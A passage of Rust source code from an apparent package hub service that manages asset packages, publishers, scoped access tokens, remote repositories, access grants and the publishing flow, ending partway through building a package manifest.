) -> Result<Vec<HubAssetPackage>, PlatformError> {
let owner = slug_segment(owner);
let store = self.require_public_store()?;
let mut items = store.data.list_hub_asset_packages()?;
items.retain(|item| item.publisher_owner == owner);
Ok(items)
}
pub fn installable_packages(
&self,
owner: &str,
) -> Result<Vec<(HubAssetPackage, String)>, PlatformError> {
let packages = match self.list_asset_packages() {
Ok(items) => items,
Err(err) if err.code == "HUB_SERVICE_DISABLED" => Vec::new(),
Err(err) => return Err(err),
};
let mut out = Vec::new();
for package in packages {
if package.visibility == "private" && package.publisher_owner != owner {
continue;
}
let latest = self
.list_asset_versions(&package.package_id)?
.into_iter()
.find(|item| item.retracted_at.is_none())
.map(|item| item.version)
.unwrap_or_default();
if latest.is_empty() {
continue;
}
out.push((package, latest));
}
Ok(out)
}
pub fn list_asset_versions(
&self,
package_id: &str,
) -> Result<Vec<HubAssetVersion>, PlatformError> {
self.local_store.data.list_hub_asset_versions(package_id)
}
pub fn list_public_asset_packages(&self) -> Result<Vec<HubAssetPackage>, PlatformError> {
let store = self.require_public_store()?;
store.data.list_hub_asset_packages()
}
pub fn list_public_asset_versions(
&self,
package_id: &str,
) -> Result<Vec<HubAssetVersion>, PlatformError> {
let store = self.require_public_store()?;
store.data.list_hub_asset_versions(package_id)
}
pub fn latest_live_asset_version(
&self,
package_id: &str,
) -> Result<Option<String>, PlatformError> {
let mut versions = self.local_store.data.list_hub_asset_versions(package_id)?;
versions.retain(|version| version.retracted_at.is_none());
versions.sort_by_key(|version| version.created_at);
Ok(versions.pop().map(|version| version.version))
}
pub fn retract_asset_package(
&self,
token: &HubToken,
package_id: &str,
reason: &str,
) -> Result<usize, PlatformError> {
let store = self.require_public_store()?;
let package_id = canonical_hub_package_id(&token.publisher_id, package_id)?;
if package_id.is_empty() {
return Err(PlatformError::new(
"HUB_PACKAGE_INVALID",
"package id must not be empty",
));
}
let Some(mut package) = store.data.get_hub_asset_package(&package_id)? else {
return Err(PlatformError::new(
"HUB_ASSET_MISSING",
"asset package not found",
));
};
let can_manage = token.scopes.iter().any(|scope| scope == "hub:manage");
if !can_manage
&& (package.publisher_owner != token.owner
|| package.publisher_id != token.publisher_id)
{
return Err(PlatformError::new(
"HUB_PACKAGE_FORBIDDEN",
"token cannot retract this package",
));
}
let versions = store.data.list_hub_asset_versions(&package_id)?;
let now = now_ts();
let reason = reason.trim();
let mut retracted = 0usize;
for version in &versions {
if version.retracted_at.is_some() {
continue;
}
store
.data
.retract_hub_asset_version(&package_id, &version.version, now, reason)?;
retracted += 1;
}
package.retracted_at = Some(package.retracted_at.unwrap_or(now));
package.retracted_reason = reason.to_string();
package.updated_at = now;
store.data.put_hub_asset_package(&package)?;
for version in &versions {
let Ok(path) = self.hub_artifact_path_for_delete(&store, &version.artifact_rel_path)
else {
continue;
};
match fs::remove_file(&path) {
Ok(()) => {}
Err(err) if err.kind() == std::io::ErrorKind::NotFound => {}
Err(_) => {}
}
prune_empty_hub_dirs(path.parent(), &self.data_root);
}
Ok(retracted)
}
pub fn update_asset_presentation(
&self,
token: &HubToken,
source_owner: &str,
source_project: &str,
package_id: &str,
update: &HubPresentationUpdate,
) -> Result<HubAssetPackage, PlatformError> {
let store = self.require_public_store()?;
let package_id = canonical_hub_package_id(&token.publisher_id, package_id)?;
let Some(existing) = store.data.get_hub_asset_package(&package_id)? else {
return Err(PlatformError::new(
"HUB_ASSET_MISSING",
"asset package not found",
));
};
let can_manage = token.scopes.iter().any(|scope| scope == "hub:manage");
if !can_manage
&& (existing.publisher_owner != token.owner
|| existing.publisher_id != token.publisher_id)
{
return Err(PlatformError::new(
"HUB_PACKAGE_FORBIDDEN",
"token cannot update this package",
));
}
let mut presentation = HubPresentation::from_existing(Some(&existing));
if let Some(summary) = update.summary.as_ref() {
presentation.summary = summary.trim().to_string();
}
if let Some(description_md) = update.description_md.as_ref() {
presentation.description_md = description_md.clone();
}
let cover_bytes = match update
.image_file_path
.as_deref()
.map(str::trim)
.filter(|value| !value.is_empty())
{
Some(path) => {
let Some(publisher) = store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&existing.publisher_id,
)?
else {
return Err(PlatformError::new(
"HUB_PUBLISHER_MISSING",
"publisher not found",
));
};
let layout = self
.projects
.project_layout(&slug_segment(source_owner), &slug_segment(source_project))?;
hub_cover_webp_from_path(&layout, path, &publisher)?
}
None => None,
};
presentation.replace_cover(
&package_id,
cover_bytes.as_ref().map(|(name, bytes)| HubAssetMedia {
name: name.clone(),
role: "cover".to_string(),
content_type: HUB_COVER_MEDIA_TYPE.to_string(),
size_bytes: bytes.len(),
artifact_sha256: sha256_hex(bytes),
}),
);
if let Some(gallery) = update.gallery.as_ref() {
validate_hub_gallery(gallery, &presentation.media)?;
presentation.gallery = gallery.clone();
presentation.image_url = gallery
.cover
.as_ref()
.map(|item| {
format!(
"/api/hub/remote/assets/{package_id}/media/{}",
item.media_name
)
})
.unwrap_or_default();
}
if let Some((_, bytes)) = cover_bytes.as_ref() {
self.store_artifact_in(&store, bytes)?;
}
let package = HubAssetPackage {
summary: presentation.summary,
description_md: presentation.description_md,
image_url: presentation.image_url,
media: presentation.media,
gallery: presentation.gallery,
updated_at: now_ts(),
..existing
};
store.data.put_hub_asset_package(&package)?;
Ok(package)
}
pub fn list_publishers(
&self,
owner: &str,
project: &str,
) -> Result<Vec<HubPublisher>, PlatformError> {
let _ = (owner, project);
let store = self.require_public_store()?;
store
.data
.list_hub_publishers(HUB_SERVICE_SCOPE_OWNER, HUB_SERVICE_SCOPE_PROJECT)
}
pub fn upsert_publisher(
&self,
owner: &str,
project: &str,
publisher_id: &str,
display_name: &str,
publisher_url: &str,
email: &str,
description: &str,
icon_url: &str,
website_url: &str,
enabled: bool,
can_read: bool,
can_publish: bool,
can_manage: bool,
max_packages: i64,
max_package_bytes: i64,
max_media_files: i64,
max_image_bytes: i64,
) -> Result<HubPublisher, PlatformError> {
let _ = (owner, project);
let store = self.require_public_store()?;
let authority = self.ensure_service_authority(&store)?;
let publisher_id = normalize_hub_id_segment(publisher_id, "publisher id")?;
refuse_reserved_publisher(&publisher_id)?;
if publisher_id.is_empty() {
return Err(PlatformError::new(
"HUB_PUBLISHER_INVALID",
"publisher id must not be empty",
));
}
let now = now_ts();
let existing = store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&publisher_id,
)?;
let row = HubPublisher {
authority_id: authority.authority_id,
publisher_pk: existing
.as_ref()
.map(|v| v.publisher_pk.clone())
.filter(|v| !v.is_empty())
.unwrap_or_else(|| format!("mpub_{}", random_hex(8))),
owner: HUB_SERVICE_SCOPE_OWNER.to_string(),
project: HUB_SERVICE_SCOPE_PROJECT.to_string(),
publisher_id: publisher_id.clone(),
display_name: if display_name.trim().is_empty() {
publisher_id.replace('-', " ")
} else {
display_name.trim().to_string()
},
publisher_url: normalize_publisher_url(&publisher_id, publisher_url),
email: email.trim().to_string(),
description: description.trim().to_string(),
icon_url: icon_url.trim().to_string(),
website_url: website_url.trim().to_string(),
enabled,
can_read,
can_publish,
can_manage,
max_packages: normalize_limit(max_packages, DEFAULT_PUBLISHER_MAX_PACKAGES),
max_package_bytes: normalize_limit(
max_package_bytes,
DEFAULT_PUBLISHER_MAX_PACKAGE_BYTES,
),
max_media_files: normalize_limit(max_media_files, DEFAULT_PUBLISHER_MAX_MEDIA_FILES),
max_image_bytes: normalize_limit(max_image_bytes, DEFAULT_PUBLISHER_MAX_IMAGE_BYTES),
created_at: existing.as_ref().map(|v| v.created_at).unwrap_or(now),
updated_at: now,
};
store.data.put_hub_publisher(&row)?;
Ok(row)
}
pub fn delete_publisher(
&self,
owner: &str,
project: &str,
publisher_id: &str,
) -> Result<(), PlatformError> {
let _ = (owner, project);
let store = self.require_public_store()?;
store.data.delete_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&slug_segment(publisher_id),
)
}
pub fn create_token(
&self,
owner: &str,
project: &str,
req: &CreateHubTokenRequest,
) -> Result<(HubToken, String), PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
let store = self.require_public_store()?;
let authority = self.ensure_service_authority(&store)?;
if owner.is_empty() || project.is_empty() {
return Err(PlatformError::new(
"HUB_TOKEN_INVALID",
"owner/project must not be empty",
));
}
let publisher_id = normalize_hub_id_segment(&req.publisher_id, "publisher id")?;
refuse_reserved_publisher(&publisher_id)?;
let title = req.title.trim();
if title.is_empty() || publisher_id.is_empty() {
return Err(PlatformError::new(
"HUB_TOKEN_INVALID",
"token title and publisher id must not be empty",
));
}
let Some(publisher) = store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&publisher_id,
)?
else {
return Err(PlatformError::new(
"HUB_PUBLISHER_MISSING",
"publisher not found",
));
};
if !publisher.enabled {
return Err(PlatformError::new(
"HUB_PUBLISHER_DISABLED",
"publisher is disabled",
));
}
let scopes = normalize_scopes(&req.scopes)?;
validate_publisher_scopes(&publisher, &scopes)?;
let now = now_ts();
let token_id = format!("mkt_{}", random_hex(8));
let secret = random_hex(24);
let plain = format!("zfmt_{token_id}_{secret}");
let token = HubToken {
token_id: token_id.clone(),
authority_id: authority.authority_id,
publisher_pk: publisher.publisher_pk.clone(),
owner,
project,
publisher_id: publisher_id.clone(),
publisher_display_name: publisher.display_name,
publisher_url: publisher.publisher_url,
publisher_email: publisher.email,
title: title.to_string(),
secret_hash: sha256_hex(plain.as_bytes()),
scopes,
scope_read: false,
scope_publish: false,
scope_manage: false,
expires_at: req.expires_at,
last_used_at: None,
revoked_at: None,
created_at: now,
updated_at: now,
};
let token = apply_scope_flags(token);
store.data.put_hub_token(&token)?;
Ok((token, plain))
}
pub fn list_tokens(&self, owner: &str, project: &str) -> Result<Vec<HubToken>, PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
let store = self.require_public_store()?;
store.data.list_hub_tokens(&owner, &project)
}
pub fn list_all_tokens(&self) -> Result<Vec<HubToken>, PlatformError> {
let store = self.require_public_store()?;
store.data.list_all_hub_tokens()
}
pub fn revoke_token(
&self,
owner: &str,
project: &str,
token_id: &str,
) -> Result<(), PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
let Some(store) = self.public_store_if_exists()? else {
return Ok(());
};
let Some(mut token) = store.data.get_hub_token(token_id)? else {
return Ok(());
};
if token.owner != owner || token.project != project {
return Err(PlatformError::new(
"HUB_TOKEN_FORBIDDEN",
"token does not belong to this hub",
));
}
token.revoked_at = Some(now_ts());
token.updated_at = now_ts();
store.data.put_hub_token(&token)?;
Ok(())
}
pub fn revoke_token_any(&self, token_id: &str) -> Result<(), PlatformError> {
let Some(store) = self.public_store_if_exists()? else {
return Ok(());
};
let Some(mut token) = store.data.get_hub_token(token_id)? else {
return Ok(());
};
token.revoked_at = Some(now_ts());
token.updated_at = now_ts();
store.data.put_hub_token(&token)?;
Ok(())
}
pub fn list_repositories(
&self,
owner: &str,
project: &str,
) -> Result<Vec<ProjectHubRepository>, PlatformError> {
self.control_data
.list_project_hub_repositories(&slug_segment(owner), &slug_segment(project))
}
pub fn list_access_grants(
&self,
source_owner: &str,
) -> Result<Vec<HubAccessGrant>, PlatformError> {
self.control_data
.list_hub_access_grants(&slug_segment(source_owner))
}
pub fn upsert_access_grant(
&self,
source_owner: &str,
repository_id: &str,
grant_scope: &str,
target_owner: &str,
target_project: &str,
can_read: bool,
can_publish: bool,
can_manage: bool,
enabled: bool,
) -> Result<HubAccessGrant, PlatformError> {
let source_owner = slug_segment(source_owner);
let repository_id = slug_segment(repository_id);
let grant_scope = normalize_hub_grant_scope(grant_scope)?;
let target_owner = if grant_scope == "all_projects" {
String::new()
} else {
slug_segment(target_owner)
};
let target_project = if grant_scope == "all_projects" {
String::new()
} else {
slug_segment(target_project)
};
if source_owner.is_empty()
|| repository_id.is_empty()
|| (grant_scope == "selected_project"
&& (target_owner.is_empty() || target_project.is_empty()))
{
return Err(PlatformError::new(
"HUB_ACCESS_GRANT_INVALID",
"source owner, repository id, and selected project target are required",
));
}
let repos = self
.control_data
.list_platform_hub_repositories(&source_owner)?;
let Some(repo) = repos
.into_iter()
.find(|item| item.repository_id == repository_id)
else {
return Err(PlatformError::new(
"HUB_REPOSITORY_MISSING",
"platform Hub source not found",
));
};
let now = now_ts();
let existing = self
.control_data
.list_hub_access_grants(&source_owner)?
.into_iter()
.find(|item| {
item.source_id == repo.source_id
&& item.grant_scope == grant_scope
&& item.target_owner == target_owner
&& item.target_project == target_project
});
let grant = HubAccessGrant {
grant_id: existing
.as_ref()
.map(|item| item.grant_id.clone())
.filter(|value| !value.is_empty())
.unwrap_or_else(|| format!("hgrant_{}", random_hex(8))),
source_owner,
source_id: repo.source_id,
repository_id,
grant_scope,
target_owner,
target_project,
can_read,
can_publish,
can_manage,
enabled,
created_at: existing.as_ref().map(|item| item.created_at).unwrap_or(now),
updated_at: now,
};
self.control_data.put_hub_access_grant(&grant)?;
Ok(grant)
}
pub fn delete_access_grant(&self, grant_id: &str) -> Result<(), PlatformError> {
self.control_data
.delete_hub_access_grant(&slug_segment(grant_id))
}
pub fn list_effective_repositories(
&self,
owner: &str,
project: &str,
) -> Result<Vec<ProjectHubRepository>, PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
let mut out = self
.control_data
.list_project_hub_repositories(&owner, &project)?;
let mut seen = out
.iter()
.map(|item| item.repository_id.clone())
.collect::<BTreeSet<_>>();
let grants = self
.control_data
.list_effective_hub_access_grants(&owner, &project)?;
for grant in grants
.into_iter()
.filter(|item| item.enabled && item.can_read)
{
if seen.contains(&grant.repository_id) {
continue;
}
let source = self
.control_data
.list_platform_hub_repositories(&grant.source_owner)?
.into_iter()
.find(|item| {
item.source_id == grant.source_id || item.repository_id == grant.repository_id
});
let Some(source) = source else {
continue;
};
if !source.enabled {
continue;
}
seen.insert(source.repository_id.clone());
out.push(ProjectHubRepository {
owner: owner.clone(),
project: project.clone(),
repository_id: source.repository_id,
title: source.title,
base_url: source.base_url,
remote_owner: source.remote_owner,
remote_project: source.remote_project,
read_token: source.read_token,
enabled: source.enabled,
created_at: grant.created_at,
updated_at: grant.updated_at,
});
}
Ok(out)
}
pub fn ensure_default_project_repository(
&self,
owner: &str,
project: &str,
) -> Result<(), PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
if owner.is_empty() || project.is_empty() {
return Ok(());
}
self.ensure_default_platform_repository(&owner)
}
pub fn list_platform_repositories(
&self,
owner: &str,
) -> Result<Vec<PlatformHubRepository>, PlatformError> {
self.control_data
.list_platform_hub_repositories(&slug_segment(owner))
}
#[allow(clippy::too_many_arguments)]
pub fn upsert_platform_repository(
&self,
owner: &str,
repository_id: &str,
title: &str,
base_url: &str,
remote_owner: &str,
remote_project: &str,
read_token: &str,
kind: &str,
priority: Option<i64>,
visibility: &str,
enabled: bool,
) -> Result<PlatformHubRepository, PlatformError> {
let owner = slug_segment(owner);
let repository_id = slug_segment(repository_id);
if owner.is_empty() || repository_id.is_empty() || base_url.trim().is_empty() {
return Err(PlatformError::new(
"HUB_REPOSITORY_INVALID",
"repository fields must not be empty",
));
}
let kind = normalize_hub_repository_kind(kind)?;
validate_remote_hub_url(base_url.trim().trim_end_matches('/'))?;
let is_static = kind == HUB_REPOSITORY_KIND_STATIC;
let uses_direct_base = is_static || is_direct_hub_base(base_url);
if !uses_direct_base && (remote_owner.trim().is_empty() || remote_project.trim().is_empty())
{
return Err(PlatformError::new(
"HUB_REPOSITORY_INVALID",
"remote owner and project are required unless base_url already points to /api/projects/{owner}/{project}/hub",
));
}
let now = now_ts();
let owner_user_id = self
.control_data
.get_user_auth(&owner)?
.map(|user| user.profile.user_id)
.ok_or_else(|| PlatformError::new("PLATFORM_USER_NOT_FOUND", "owner user not found"))?;
let existing = self
.control_data
.list_platform_hub_repositories(&owner)?
.into_iter()
.find(|item| item.repository_id == repository_id);
let row = PlatformHubRepository {
source_id: existing
.as_ref()
.map(|item| item.source_id.clone())
.filter(|value| !value.is_empty())
.unwrap_or_else(|| format!("pmr_{}", random_hex(8))),
owner_user_id: existing
.as_ref()
.map(|item| item.owner_user_id.clone())
.filter(|value| !value.is_empty())
.unwrap_or(owner_user_id),
owner,
repository_id,
title: if title.trim().is_empty() {
"Remote Hub".to_string()
} else {
title.trim().to_string()
},
base_url: base_url.trim().trim_end_matches('/').to_string(),
remote_owner: if uses_direct_base {
String::new()
} else {
slug_segment(remote_owner)
},
remote_project: if uses_direct_base {
String::new()
} else {
slug_segment(remote_project)
},
read_token: preserve_or_replace_token(
existing.as_ref().map(|item| item.read_token.as_str()),
read_token,
),
kind,
priority: priority
.or_else(|| existing.as_ref().map(|item| item.priority))
.unwrap_or(DEFAULT_HUB_REPOSITORY_PRIORITY),
visibility: normalize_platform_source_visibility(visibility),
enabled,
created_at: existing.as_ref().map(|item| item.created_at).unwrap_or(now),
updated_at: now,
};
self.control_data.put_platform_hub_repository(&row)?;
Ok(row)
}
}
fn normalize_hub_repository_kind(kind: &str) -> Result<String, PlatformError> {
match kind.trim() {
"" | HUB_REPOSITORY_KIND_API => Ok(HUB_REPOSITORY_KIND_API.to_string()),
HUB_REPOSITORY_KIND_STATIC => Ok(HUB_REPOSITORY_KIND_STATIC.to_string()),
other => Err(PlatformError::new(
"HUB_REPOSITORY_INVALID",
format!(
"repository kind '{other}' is not one this build implements; use '{}' or '{}'",
HUB_REPOSITORY_KIND_API, HUB_REPOSITORY_KIND_STATIC
),
)),
}
}
impl HubService {
pub fn delete_platform_repository(
&self,
owner: &str,
repository_id: &str,
) -> Result<(), PlatformError> {
self.control_data
.delete_platform_hub_repository(&slug_segment(owner), &slug_segment(repository_id))
}
pub fn ensure_default_platform_repository(&self, owner: &str) -> Result<(), PlatformError> {
let owner = slug_segment(owner);
if owner.is_empty() {
return Ok(());
}
let existing = self.control_data.list_platform_hub_repositories(&owner)?;
let mut owner_user_id = None;
for (repository_id, title, base_url, kind, priority) in OFFICIAL_PLATFORM_REPOSITORIES {
if existing
.iter()
.any(|item| item.repository_id == *repository_id)
{
continue;
}
let user_id = match &owner_user_id {
Some(value) => value,
None => {
let value = self
.control_data
.get_user_auth(&owner)?
.map(|user| user.profile.user_id)
.ok_or_else(|| {
PlatformError::new("PLATFORM_USER_NOT_FOUND", "owner user not found")
})?;
owner_user_id.get_or_insert(value)
}
};
let now = now_ts();
self.control_data
.put_platform_hub_repository(&PlatformHubRepository {
source_id: format!("pmr_{}", random_hex(8)),
owner_user_id: user_id.clone(),
owner: owner.clone(),
repository_id: (*repository_id).to_string(),
title: (*title).to_string(),
base_url: base_url(),
remote_owner: String::new(),
remote_project: String::new(),
read_token: String::new(),
kind: (*kind).to_string(),
priority: *priority,
visibility: "public".to_string(),
enabled: true,
created_at: now,
updated_at: now,
})?;
}
Ok(())
}
pub fn upsert_repository(
&self,
owner: &str,
project: &str,
repository_id: &str,
title: &str,
base_url: &str,
remote_owner: &str,
remote_project: &str,
read_token: &str,
enabled: bool,
) -> Result<ProjectHubRepository, PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
let repository_id = slug_segment(repository_id);
if owner.is_empty()
|| project.is_empty()
|| repository_id.is_empty()
|| base_url.trim().is_empty()
{
return Err(PlatformError::new(
"HUB_REPOSITORY_INVALID",
"repository fields must not be empty",
));
}
validate_remote_hub_url(base_url.trim().trim_end_matches('/'))?;
let uses_direct_base = is_direct_hub_base(base_url);
if !uses_direct_base && (remote_owner.trim().is_empty() || remote_project.trim().is_empty())
{
return Err(PlatformError::new(
"HUB_REPOSITORY_INVALID",
"remote owner and project are required unless base_url already points to /api/projects/{owner}/{project}/hub",
));
}
let now = now_ts();
let existing = self
.control_data
.list_project_hub_repositories(&owner, &project)?
.into_iter()
.find(|item| item.repository_id == repository_id);
let row = ProjectHubRepository {
owner,
project,
repository_id,
title: if title.trim().is_empty() {
"Remote Hub".to_string()
} else {
title.trim().to_string()
},
base_url: base_url.trim().trim_end_matches('/').to_string(),
remote_owner: if uses_direct_base {
String::new()
} else {
slug_segment(remote_owner)
},
remote_project: if uses_direct_base {
String::new()
} else {
slug_segment(remote_project)
},
read_token: preserve_or_replace_token(
existing.as_ref().map(|item| item.read_token.as_str()),
read_token,
),
enabled,
created_at: existing.as_ref().map(|item| item.created_at).unwrap_or(now),
updated_at: now,
};
self.control_data.put_project_hub_repository(&row)?;
Ok(row)
}
pub fn delete_repository(
&self,
owner: &str,
project: &str,
repository_id: &str,
) -> Result<(), PlatformError> {
self.control_data.delete_project_hub_repository(
&slug_segment(owner),
&slug_segment(project),
&slug_segment(repository_id),
)
}
pub fn authenticate_token(
&self,
bearer_token: &str,
required_scope: &str,
) -> Result<HubToken, PlatformError> {
let store = self.require_public_store()?;
let token_value = bearer_token.trim();
if token_value.is_empty() {
return Err(PlatformError::new("HUB_TOKEN_INVALID", "token missing"));
}
let token_hash = sha256_hex(token_value.as_bytes());
let matched = store
.data
.list_all_hub_tokens()?
.into_iter()
.find(|token| token.secret_hash == token_hash);
let Some(mut token) = matched else {
return Err(PlatformError::new("HUB_TOKEN_INVALID", "token not found"));
};
if token.revoked_at.is_some() {
return Err(PlatformError::new("HUB_TOKEN_REVOKED", "token revoked"));
}
if let Some(expires_at) = token.expires_at
&& expires_at > 0
&& expires_at <= now_ts()
{
return Err(PlatformError::new("HUB_TOKEN_EXPIRED", "token expired"));
}
if !token.grants_scope(required_scope) {
return Err(PlatformError::new("HUB_TOKEN_FORBIDDEN", "scope missing"));
}
let Some(publisher) = store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&token.publisher_id,
)?
else {
return Err(PlatformError::new(
"HUB_PUBLISHER_MISSING",
"publisher not found",
));
};
if !publisher.enabled {
return Err(PlatformError::new(
"HUB_PUBLISHER_DISABLED",
"publisher is disabled",
));
}
validate_publisher_scopes(&publisher, &[required_scope.to_string()])?;
token.last_used_at = Some(now_ts());
token.updated_at = now_ts();
store.data.put_hub_token(&token)?;
Ok(token)
}
pub fn list_publish_sources(
&self,
owner: &str,
project: &str,
source_type: &str,
) -> Result<Vec<HubPublishSourceItem>, PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
let source_type = normalize_source_type(source_type);
match source_type.as_str() {
"pipeline_with_dependencies" => {
let rows = self.projects.list_pipeline_meta_rows(&owner, &project)?;
Ok(rows
.into_iter()
.map(|item| HubPublishSourceItem {
source_type: source_type.clone(),
source_ref: item.file_rel_path.clone(),
name: item.title.clone(),
description: if item.description.trim().is_empty() {
format!("Pipeline · {}", item.trigger_kind)
} else {
item.description.clone()
},
path: item.file_rel_path,
})
.collect())
}
"template_with_dependencies" => {
let listing = self.projects.list_repo_tree(&owner, &project, &RepoTreeScope::all())?;
Ok(listing
.items
.into_iter()
.filter(|item| item.kind != "folder")
.map(|item| HubPublishSourceItem {
source_type: source_type.clone(),
source_ref: item.rel_path.clone(),
name: item.name,
description: format!("Template · {}", item.file_kind),
path: item.rel_path,
})
.collect())
}
"folder_files" => {
let layout = self.projects.project_layout(&owner, &project)?;
let folders = list_repo_folders(&layout)?;
Ok(folders
.into_iter()
.map(|path| HubPublishSourceItem {
source_type: source_type.clone(),
source_ref: path.clone(),
name: Path::new(&path)
.file_name()
.and_then(|v| v.to_str())
.unwrap_or(&path)
.to_string(),
description: "Folder files export".to_string(),
path,
})
.collect())
}
"project_files" => Ok(vec![HubPublishSourceItem {
source_type,
source_ref: ".".to_string(),
name: format!("{project} project files"),
description: "Entire repo workspace export".to_string(),
path: "/".to_string(),
}]),
_ => Err(PlatformError::new(
"HUB_SOURCE_INVALID",
"unsupported source type",
)),
}
}
pub fn preview_publish_source(
&self,
owner: &str,
project: &str,
source_type: &str,
source_ref: &str,
) -> Result<HubExportPreview, PlatformError> {
let owner = slug_segment(owner);
let project = slug_segment(project);
let source_type = normalize_source_type(source_type);
let layout = self.projects.project_layout(&owner, &project)?;
match source_type.as_str() {
"pipeline_with_dependencies" => {
self.preview_pipeline(&owner, &project, &layout, source_ref)
}
"template_with_dependencies" => {
self.preview_template(&owner, &project, &layout, source_ref)
}
"folder_files" => self.preview_folder(&layout, source_ref),
"skill_folder" => self.preview_skill(&layout, source_ref),
"project_files" => self.preview_project(&layout),
_ => Err(PlatformError::new(
"HUB_SOURCE_INVALID",
"unsupported source type",
)),
}
}
pub fn publish_asset(
&self,
authority_owner: &str,
authority_project: &str,
publisher_owner: &str,
publisher_id: &str,
publisher_display_name: &str,
publisher_url: &str,
publisher_email: &str,
source_owner: &str,
source_project: &str,
source_type: &str,
source_ref: &str,
package_id: &str,
version: &str,
title: &str,
description: &str,
image_file_path: &str,
visibility: &str,
project_options: HubProjectBundlePublishOptions,
tags: Vec<String>,
) -> Result<(HubAssetPackage, HubAssetVersion), PlatformError> {
let _ = (authority_owner, authority_project);
let store = self.require_public_store()?;
let publisher_owner = slug_segment(publisher_owner);
let publisher_id = normalize_hub_id_segment(publisher_id, "publisher id")?;
refuse_reserved_publisher(&publisher_id)?;
let source_owner = slug_segment(source_owner);
let source_project = slug_segment(source_project);
let source_type = normalize_source_type(source_type);
let package_id = canonical_hub_package_id(&publisher_id, package_id)?;
let version = version.trim();
if publisher_owner.is_empty()
|| publisher_id.is_empty()
|| source_owner.is_empty()
|| source_project.is_empty()
{
return Err(PlatformError::new(
"HUB_PUBLISH_INVALID",
"authority, publisher, and source must not be empty",
));
}
let Some(publisher) = store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&publisher_id,
)?
else {
return Err(PlatformError::new(
"HUB_PUBLISHER_MISSING",
"publisher not found",
));
};
if !publisher.enabled {
return Err(PlatformError::new(
"HUB_PUBLISHER_DISABLED",
"publisher is disabled",
));
}
if !publisher.can_publish {
return Err(PlatformError::new(
"HUB_PUBLISHER_FORBIDDEN",
"publisher does not have publish permission",
));
}
let authority = self.ensure_service_authority(&store)?;
if package_id.is_empty() || version.is_empty() {
return Err(PlatformError::new(
"HUB_PUBLISH_INVALID",
"package id and version must not be empty",
));
}
validate_hub_version(version)?;
self.enforce_release_immutability(&store, &package_id, version)?;
let existing_package = store.data.get_hub_asset_package(&package_id)?;
let mut preview =
self.preview_publish_source(&source_owner, &source_project, &source_type, source_ref)?;
if preview.entries.is_empty() {
return Err(PlatformError::new(
"HUB_PUBLISH_EMPTY",
"nothing to publish for this source",
));
}
let project_initialization = self.apply_project_bundle_publish_options(
&source_owner,
&source_project,
&source_type,
&mut preview,
project_options,
)?;
sanitize_hub_export_entries(&mut preview.entries)?;
let source_layout = self
.projects
.project_layout(&source_owner, &source_project)?;
let cover_source = hub_cover_webp_from_path(&source_layout, image_file_path, &publisher)?;
let resolved_title = if title.trim().is_empty() {
preview.name.clone()
} else {
title.trim().to_string()
};
let resolved_description = if description.trim().is_empty() {
preview.description.clone()
} else {
description.trim().to_string()
};
let active_pipelines = if preview.asset_kind == HUB_ASSET_KIND_PROJECT_BUNDLE {
self.projects
.list_active_pipeline_meta(&source_owner, &source_project)?
.into_iter()
.map(|meta| meta.file_rel_path)
.collect()
} else {
Vec::new()
};
self.finish_publish(
store,
PublishSubmission {
authority,
publisher,
publisher_owner,
publisher_id,
publisher_display_name: publisher_display_name.to_string(),
publisher_url: publisher_url.to_string(),
publisher_email: publisher_email.to_string(),
source_owner,
source_project,
source_type,
source_ref: source_ref.to_string(),
package_id,
version: version.to_string(),
resolved_title,
resolved_description,
preview,
review_layout: publish_review_layout(&source_layout.repo_layout),
recorded_layout: Some(recorded_publisher_layout(&source_layout.repo_layout)),
active_pipelines,
project_initialization,
existing_package,
cover_source,
visibility: visibility.to_string(),
tags,
},
)
}
fn finish_publish(
&self,
store: HubStore,
submission: PublishSubmission,
) -> Result<(HubAssetPackage, HubAssetVersion), PlatformError> {
let PublishSubmission {
authority,
publisher,
publisher_owner,
publisher_id,
publisher_display_name,
publisher_url,
publisher_email,
source_owner,
source_project,
source_type,
source_ref,
package_id,
version,
resolved_title,
resolved_description,
mut preview,
review_layout,
recorded_layout,
active_pipelines,
project_initialization,
existing_package,
cover_source,
visibility,
tags,
} = submission;
refuse_publish_violations(
"HUB_PUBLISH_REFUSED",
&review_publish_entries(
&review_layout,
&preview.asset_kind,
&preview.entries,
preview.warnings.clone(),
&resolved_title,
&resolved_description,
cover_source.is_some(),
&store.artifact_channel(),
),
)?;
let referenced_artifacts = reference_large_publish_entries(&mut preview.entries)?;
let cover = match cover_source {
Some((name, bytes)) => {
let artifact_sha256 = self.store_artifact_in(&store, &bytes)?;
Some(HubAssetMedia {
name,
role: "cover".to_string(),
content_type: HUB_COVER_MEDIA_TYPE.to_string(),
size_bytes: bytes.len(),
artifact_sha256,
})
}
None => None,
};
let mut presentation = HubPresentation::from_existing(existing_package.as_ref());
presentation.replace_cover(&package_id, cover);
let artifact_rel = store.artifact_rel(&package_id, &version);
let artifact_abs = self.data_root.join(&artifact_rel);
if let Some(parent) = artifact_abs.parent() {
fs::create_dir_all(parent)?;
}
let now = now_ts();
let resolved_publisher_display_name = if publisher_display_name.trim().is_empty() {
publisher.display_name.clone()
} else {
publisher_display_name.trim().to_string()
};
let resolved_publisher_url = if publisher_url.trim().is_empty() {
publisher.publisher_url.clone()
} else {
normalize_publisher_url(&publisher_id, &publisher_url)
};
let resolved_publisher_email = if publisher_email.trim().is_empty() {
publisher.email.clone()
} else {
publisher_email.trim().to_string()
};
let manifest = HubPackageSpec {
asset_kind: preview.asset_kind.clone(),
title: resolved_title,
description: resolved_description,
layout: recorded_layout,
active_pipelines,
